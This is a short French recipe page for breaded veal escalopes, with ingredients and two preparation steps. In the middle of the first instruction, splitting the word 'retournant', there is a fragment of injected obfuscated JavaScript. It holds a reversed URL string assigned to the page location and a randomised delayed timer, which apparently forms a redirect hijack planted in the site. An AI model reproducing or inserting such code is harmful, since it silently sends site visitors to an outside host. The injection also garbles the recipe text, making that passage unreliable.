Escalopes panées
2017-12-21Salez et poivrez les escalopes de chaque côté. Enrobez les escalopes dans la panure.
Dans une poêle avec de l’huile et sur feu vif, faites dorer les escalopes en les retobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tournant souvent de façon qu’elles soient bien dorées.
Ingrédients
- Pour 4 personnes
- 4 escalopes de veau de 150 g chacune
- Panure à l’anglaise
- 20 g de beurre
- 1 jus de citron
- Sel / poivre
Préparation de la recette
Etape 1
Salez et poivrez les escalopes de chaque côté. Enrobez les escalopes dans la panure. Dans une poêle avec de l’huile et sur feu vif, faites dorer les escalopes en les retournant souvent de façon qu’elles soient bien dorées.
Etape 2
Les déposer dans un plat de service et servez avec des quartiers de citron
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